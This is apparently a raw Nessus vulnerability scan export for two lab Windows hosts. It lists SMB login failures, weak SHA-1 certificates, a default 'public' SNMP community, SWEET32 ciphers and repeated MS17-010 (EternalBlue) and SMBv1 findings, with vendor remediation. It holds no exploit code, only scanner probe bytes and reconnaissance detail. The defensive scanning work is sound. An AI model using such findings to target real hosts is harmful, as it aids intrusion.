- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		Address the reported problem(s) so that credentialed checks can be
executed.				
Nessus was unable to log into the following host for which
credentials have been provided :

  Protocol        : SMB
  Port            : 445
  Failure details :

  - User : administrator

    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : SMB2 authentication : smb2_session_setup() failed.


    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : 
Initial SMB negotiation : smb_negotiate_protocol() failed.


    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : 
Failed to authenticate using the supplied credentials.
		None

		106716						None		10.0.2.15		tcp		445		Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)		It was possible to obtain information about the dialects of SMB2 and SMB3 available
on the remote host.		Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote
host by sending an authentication request to port 139 or 445.		n/a				
The remote host supports the following SMB dialects :
	_version_  _introduced in windows version_
	2.0.2      Windows 2008  
	2.1        Windows 7     
	3.0        Windows 8     
	3.0.2      Windows 8.1   
	3.1.1      Windows 10    

The remote host does NOT support the following SMB dialects :
	_version_  _introduced in windows version_
	2.2.2      Windows 8 Beta
	2.2.4      Windows 8 Beta
	3.1        Windows 10    
		None

		135860						None		10.0.2.15		tcp		445		WMI Not Available		WMI queries could not be made against the remote host.		WMI (Windows Management Instrumentation) is not available on the
remote host over DCOM. WMI queries are used to gather information
about the remote host, such as its current state, network interface
configuration, etc.

Without this information Nessus may not be able to identify installed
software or security vunerabilities that exist on the remote host.		n/a		https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page		Can't connect to the 'root\CIMV2' WMI namespace.		None
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35291CVE-2004-2761 5High 10.0.2.10tcp 3389SSL Certificate Signed Using Weak Hashing Algorithm

An SSL certificate in the certificate chain has been signed using a

weak hash algorithm.

The remote service uses an SSL certificate chain that has been 

signed

using a cryptographically weak hashing algorithm (e.g. MD2, 

MD4, MD5,

or SHA1). These signature algorithms are known to be 

vulnerable to

collision attacks. An attacker can exploit this to generate 

another

certificate with the same digital signature, allowing an attacker 

to Contact the Certificate Authority to have the SSL certificate reissued.

https://tools.ietf.org/html/rfc3279

http://www.nessus.org/u?9bb87bf2

http://www.nessus.org/u?e120eea1

http://www.nessus.org/u?5d894816

http://www.nessus.org/u?51db68aa

http://www.nessus.org/u?9dc7bfba



The following certificates were part of the certificate chain sent by

the remote host, but contain hashes that are considered to be weak.



Subject             : CN=Server2012.ACCB6000.com

Signature Algorithm : SHA-1 With RSA Encryption

Valid From          : Nov 21 11:24:20 2022 GMT

Valid To            : May 23 11:24:20 2023 GMT

Raw PEM certificate : 

-----BEGIN CERTIFICATE----- Medium

41028CVE-1999-0517 7.5High 10.0.2.10udp 161SNMP Agent Default Community Name (public) The community name of the remote SNMP server can be guessed.

It is possible to obtain the default community name of the 

remote

SNMP server.



An attacker may use this information to gain more knowledge 

about the

remote host, or to change the configuration of the remote 

system (if

the default community allows such modifications).

Disable the SNMP service on the remote host if you do not use it.

Either filter incoming UDP packets going to this port, or change the 

default community string.



The remote SNMP server replies to the following default community

string :



public High

42873CVE-2016-2183 5High 10.0.2.10tcp 3389SSL Medium Strength Cipher Suites Supported (SWEET32) The remote service supports the use of medium strength SSL ciphers.

The remote host supports the use of SSL ciphers that offer 

medium

strength encryption. Nessus regards medium strength as any 

encryption

that uses key lengths at least 64 bits and less than 112 bits, or 

else that uses the 3DES encryption suite.



Note that it is considerably easier to circumvent medium 

strength

encryption if the attacker is on the same physical network.

Reconfigure the affected application if possible to avoid use of

medium strength ciphers.

https://www.openssl.org/blog/blog/2016/08/24/swe

et32/

https://sweet32.info



  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



    Name                          Code             KEX           Auth     Encryption             MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          

SHA1



The fields above are :



  {Tenable ciphername}

  {Cipher ID code}

  Kex={key exchange}

  Auth={authentication}

  Encrypt={symmetric encryption method}

  MAC={message authentication code}

  {export flag}



Medium

97833CVE-2017-0143 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

97833CVE-2017-0144 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

97833CVE-2017-0145 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

97833CVE-2017-0146 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

97833CVE-2017-0147 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

97833CVE-2017-0148 9.3High 10.0.2.10tcp 445MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host is affected by the following 

vulnerabilities :



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit these

    vulnerabilities, via a specially crafted packet, to

    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,

    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)



  - An information disclosure vulnerability exists in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of certain requests. An

    unauthenticated, remote attacker can exploit this, via a

    specially crafted packet, to disclose sensitive

    information. (CVE-2017-0147)



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and 

ETERNALSYNERGY are

four of multiple Equation Group vulnerabilities and exploits 

disclosed

on 2017/04/14 by a group known as the Shadow Brokers. 

WannaCry /

WannaCrypt is a ransomware program utilizing the 

ETERNALBLUE exploit,

and EternalRocks is a worm that utilizes seven Equation Group

vulnerabilities. Petya is a ransomware program that first 

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also

released emergency patches for Windows operating systems that 

are no

longer supported, including Windows XP, 2003, and 8.



For unsupported Windows operating systems, e.g. Windows XP, 

Microsoft

recommends that users discontinue the use of SMBv1. SMBv1 lacks

security features that were included in later SMB versions. SMBv1 

can

be disabled by following the vendor instructions provided in 

Microsoft

KB2696547. Additionally, US-CERT recommends that users block 

SMB

directly by blocking TCP port 445 on all network boundary devices. 

For

SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 

137

/ 138 on all network boundary devices.

http://www.nessus.org/u?68fc8eff

http://www.nessus.org/u?321523eb

http://www.nessus.org/u?065561d0

http://www.nessus.org/u?d9f569cf

https://blogs.technet.microsoft.com/filecab/2016/09

/16/stop-using-smb1/

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

https://github.com/stamparm/EternalRocks/

http://www.nessus.org/u?59db5b5b

Sent:

00000054ff534d4225000000001807c800000000000000000000000000089433000800

0110000000

00ffffffff0000000000000000000000005400000054000200230000001100005c00500

049005000

45005c0000000000



Received:

ff534d4225050200c09807c80000000000000000000000000008943300080001000000



High

100464CVE-2017-0267 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0268 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0269 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0270 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0271 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

